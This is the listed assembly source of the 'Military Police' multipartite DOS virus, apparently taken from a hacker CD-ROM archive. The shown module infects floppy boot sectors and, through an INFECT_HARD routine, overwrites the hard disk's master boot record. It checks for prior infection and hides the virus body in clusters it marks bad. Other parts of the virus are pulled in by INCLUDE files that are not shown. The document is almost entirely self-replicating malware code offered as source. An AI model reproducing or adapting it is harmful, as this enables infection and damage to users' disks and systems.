home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / MPOLICE / MPOLICE.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-01  |  11.5 KB  |  288 lines

  1. ;The Military Police Virus is a multi-partite virus.
  2.  
  3. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved.
  4.  
  5. .model  tiny                    ;change to "small" for MASM versions that dont
  6. .code                           ;understand "tiny"
  7.  
  8.         ORG     100H
  9.  
  10. ;This function acts as the loader for the virus. It infects the disk in a:
  11. START:
  12.         mov     BYTE PTR ds:[CURR_DISK],0       ;infect drive #0 (a:)
  13.         mov     dl,0                            ;set up dl for CHECK_DISK
  14.         call    CHECK_DISK                      ;is floppy already infected?
  15.         jz      EXIT_BAD                        ;yes, just exit
  16.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  17.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  18. EXIT_NOW:
  19.         mov     ah,9                            ;say infection ok
  20.         mov     dx,OFFSET OK_MSG
  21.         int     21H
  22.         mov     ax,4C00H                        ;exit to DOS
  23.         int     21H
  24.  
  25. EXIT_BAD:
  26.         mov     ah,9                            ;say there was a problem
  27.         mov     dx,OFFSET ERR_MSG
  28.         int     21H
  29.         mov     ax,4C01H                        ;exit with error code
  30.         int     21H
  31.  
  32. OK_MSG  DB      'Military Police infection complete!$'
  33. ERR_MSG DB      'Infection process could not be completed!$'
  34.  
  35. ;*******************************************************************************
  36. ;* BIOS DATA AREA                                                              *
  37. ;*******************************************************************************
  38.  
  39.         ORG     413H
  40.  
  41. MEMSIZE DW      640                     ;size of memory installed, in KB
  42.  
  43. ;*******************************************************************************
  44. ;* VIRUS CODE STARTS HERE                                                      *
  45. ;*******************************************************************************
  46.  
  47. VIR_SIZE        EQU     4       ;size of virus, in sectors
  48.  
  49.         ORG     7C00H - 512*VIR_SIZE - 512
  50.  
  51. BBS:                            ;A label for the beginning of the virus
  52.  
  53. INCLUDE INT13H.ASM              ;include interrupt 13H handler main routine
  54. INCLUDE INT21H.ASM              ;include interrupt 21H handler main routine
  55. INCLUDE EXEFILE.ASM             ;include EXE file startup routine
  56.  
  57. ;*******************************************************************************
  58. ;This routine checks the status of the diskette motor flag for the drive in
  59. ;dl. If the motor is on, it returns with nz, else it returns with z.
  60. CHECK_MOTOR:
  61.         push    bx
  62.         push    dx
  63.         push    es
  64.         xor     bx,bx
  65.         mov     es,bx                           ;es=0
  66.         mov     bx,43FH                         ;motor status at 0:43FH
  67.         mov     bl,es:[bx]
  68.         inc     dl
  69.         and     bl,dl                           ;is motor on? ret with flag set
  70.         pop     es
  71.         pop     dx
  72.         pop     bx
  73.         ret
  74.  
  75. ;*******************************************************************************
  76. ;See if disk dl is infected already. If so, return with Z set. This
  77. ;does not assume that registers have been saved, and saves/restores everything
  78. ;but the flags.
  79.  
  80. CHECK_DISK:
  81.         push    ax                              ;save everything
  82.         push    bx
  83.         push    cx
  84.         push    dx
  85.         push    si
  86.         push    di
  87.         push    bp
  88.         push    ds
  89.         push    es
  90.  
  91.         mov     ax,cs
  92.         mov     ds,ax
  93.         mov     es,ax
  94.         mov     bx,OFFSET SCRATCHBUF            ;buffer for the boot sector
  95.         mov     dh,0                            ;head 0
  96.         mov     cx,1                            ;track 0, sector 1
  97.         mov     ax,201H                         ;BIOS read function
  98.         push    ax
  99.         int     40H                             ;do double read to
  100.         pop     ax                              ;avoid problems with just
  101.         int     40H                             ;changed disk
  102.         jnc     CD1
  103.         xor     al,al                           ;act as if infected
  104.         jmp     SHORT CD2                       ;in the event of an error
  105. CD1:    call    IS_VBS                          ;see if viral boot sec (set z)
  106. CD2:    pop     es                              ;restore everything
  107.         pop     ds                              ;except the z flag
  108.         pop     bp
  109.         pop     di
  110.         pop     si
  111.         pop     dx
  112.         pop     cx
  113.         pop     bx
  114.         pop     ax
  115.         ret
  116.  
  117.  
  118. ;*******************************************************************************
  119. ;This routine puts the virus on the floppy disk. It has no safeguards to prevent infecting
  120. ;an already infected disk. That must occur at a higher level.
  121. ;On entry, [CURR_DISK] must contain the drive number to act upon.
  122.  
  123. INCLUDE FATMAN.ASM
  124.  
  125. INFECT_FLOPPY:
  126.         push    ax
  127.         push    bx
  128.         push    cx
  129.         push    dx
  130.         push    si
  131.         push    di
  132.         push    bp
  133.         push    ds
  134.         push    es
  135.         mov     ax,cs
  136.         mov     ds,ax
  137.         mov     es,ax
  138.         mov     bx,VIR_SIZE+1                   ;number of sectors requested
  139.         call    FIND_FREE                       ;find free space on disk
  140.         jnc     INF1                            ;exit now if no space
  141. IFX:    pop     es
  142.         pop     ds
  143.         pop     bp
  144.         pop     di
  145.         pop     si
  146.         pop     dx
  147.         pop     cx
  148.         pop     bx
  149.         pop     ax
  150.         ret
  151.  
  152. INF1:   push    cx
  153.         mov     dx,cx                           ;dx=cluster to start marking
  154.         mov     cx,VIR_SIZE+1                   ;sectors requested
  155.         call    MARK_CLUSTERS                   ;mark required clusters bad
  156.         call    UPDATE_FAT_SECTOR               ;and write it to disk
  157.  
  158.         mov     ax,0201H
  159.         mov     bx,OFFSET SCRATCHBUF
  160.         mov     cx,1
  161.         mov     dh,ch
  162.         mov     dl,[CURR_DISK]
  163.         int     40H                             ;read original boot sector
  164.  
  165.         mov     si,OFFSET SCRATCHBUF + 3        ;BS_DATA in current sector
  166.         mov     di,OFFSET BOOT_START + 3
  167.         mov     cx,59                           ;copy boot sector disk info over
  168.         rep     movsb                           ;to new boot sector
  169.         mov     di,OFFSET END_BS_CODE
  170.         mov     si,di
  171.         sub     si,(OFFSET BOOT_START - OFFSET SCRATCHBUF)
  172.         mov     cx,7E00H                        ;so boot works right on
  173.         sub     cx,di
  174.         rep     movsb                           ;floppies too
  175.  
  176.         pop     cx
  177.         call    CLUST_TO_ABSOLUTE               ;set cx,dx up with trk, sec, hd info
  178.         xor     dl,dl
  179.         mov     ds:[VIRCX],cx
  180.         mov     ds:[VIRDX],dx
  181.  
  182.         mov     dl,ds:[CURR_DISK]
  183.         mov     bx,OFFSET BBS
  184.         mov     si,VIR_SIZE+1                   ;read/write VIR_SIZE+1 sectors
  185. INF2:   push    si
  186.         mov     ax,0301H                        ;read/write 1 sector
  187.         int     40H                             ;call BIOS to write it
  188.         pop     si
  189.         jc      IFEX                            ;exit if it fails
  190.         add     bx,512                          ;increment read buffer
  191.         inc     cl                              ;get ready to do next sector--inc sector ct
  192.         cmp     cl,BYTE PTR [SECS_PER_TRACK]    ;last sector on track?
  193.         jbe     INF3                            ;no, continue
  194.         mov     cl,1                            ;yes, set sector=1
  195.         inc     dh                              ;try next side
  196.         cmp     dh,2                            ;last side?
  197.         jb      INF3                            ;no, continue
  198.         xor     dh,dh                           ;yes, set side=0
  199.         inc     ch                              ;and increment track count
  200. INF3:   dec     si
  201.         jnz     INF2
  202.         mov     ax,0301H
  203.         mov     bx,OFFSET BOOT_START
  204.         mov     cx,1
  205.         mov     dh,ch
  206.         mov     dl,[CURR_DISK]
  207.         int     40H                             ;write viral boot sector into boot sector
  208. IFEX:   jmp     IFX
  209.  
  210.  
  211. ;*******************************************************************************
  212. ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
  213. ;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
  214. ;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
  215. ;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the BBS
  216. ;routines to Track 0, Head 0, Sector 2, 5 sectors total. The present MBS
  217. ;should already be in memory at SCRATCHBUF when this is called!
  218.  
  219. INFECT_HARD:
  220.         mov     bx,OFFSET BBS                   ;and go write it at
  221.         mov     dx,80H                          ;drive c:, head 0
  222.         mov     ds:[VIRDX],dx                   ;save where virus goes
  223.         mov     cx,0002H                        ;track 0, sector 2
  224.         mov     ds:[VIRCX],cx
  225.         mov     ax,0300H + VIR_SIZE + 1         ;BIOS write
  226.         int     13H                             ;virus + original mbs to disk
  227.  
  228.         mov     si,OFFSET SCRATCHBUF + 1BEH     ;set up partition table
  229.         mov     di,OFFSET PART
  230.         mov     cx,40H
  231.         rep     movsb
  232.  
  233.         mov     WORD PTR ds:[BS_SECS_PER_TRACK],64 ;make this big enough to work
  234.         mov     bx,OFFSET BOOT_START
  235.         mov     dx,80H                          ;head 0, drive c:
  236.         mov     cx,1                            ;track 0, sector 1
  237.         mov     ax,301H                         ;write 1 sector
  238.         int     13H
  239.  
  240.         ret
  241.  
  242.  
  243. ;*******************************************************************************
  244. ;This routine determines if a hard drive C: exists, and returns NZ if it does,
  245. ;Z if it does not.
  246. IS_HARD_THERE:
  247.         push    ds
  248.         xor     ax,ax
  249.         mov     ds,ax
  250.         mov     bx,475H                         ;Get hard disk count from bios
  251.         mov     al,[bx]                         ;put it in al
  252.         pop     ds
  253.         or      al,al                           ;return z set/reset
  254.         ret
  255.  
  256.  
  257. ;*******************************************************************************
  258. ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
  259. ;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
  260. ;are checked to see if they are identical. If so, it must be the viral boot
  261. ;sector. It is assumed that es and ds are properly set to this segment when
  262. ;this is called.
  263.  
  264. IS_VBS:
  265.         push    si                              ;save these
  266.         push    di
  267.         cld
  268.         mov     di,OFFSET BOOT                  ;set up for a compare
  269.         mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
  270.  
  271.         mov     cx,15
  272.         repz    cmpsw                           ;compare 30 bytes
  273.         pop     di                              ;restore these
  274.         pop     si
  275.         ret                                     ;and return with z properly set
  276.  
  277. ;*******************************************************************************
  278. ;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES                              *
  279. ;*******************************************************************************
  280.  
  281.         ORG     7C00H - 512
  282.  
  283. SCRATCHBUF:                                     ;buffer for virus disk read/write
  284.  
  285. INCLUDE BOOT.ASM                                ;include boot sector code
  286.  
  287.         END     START
  288.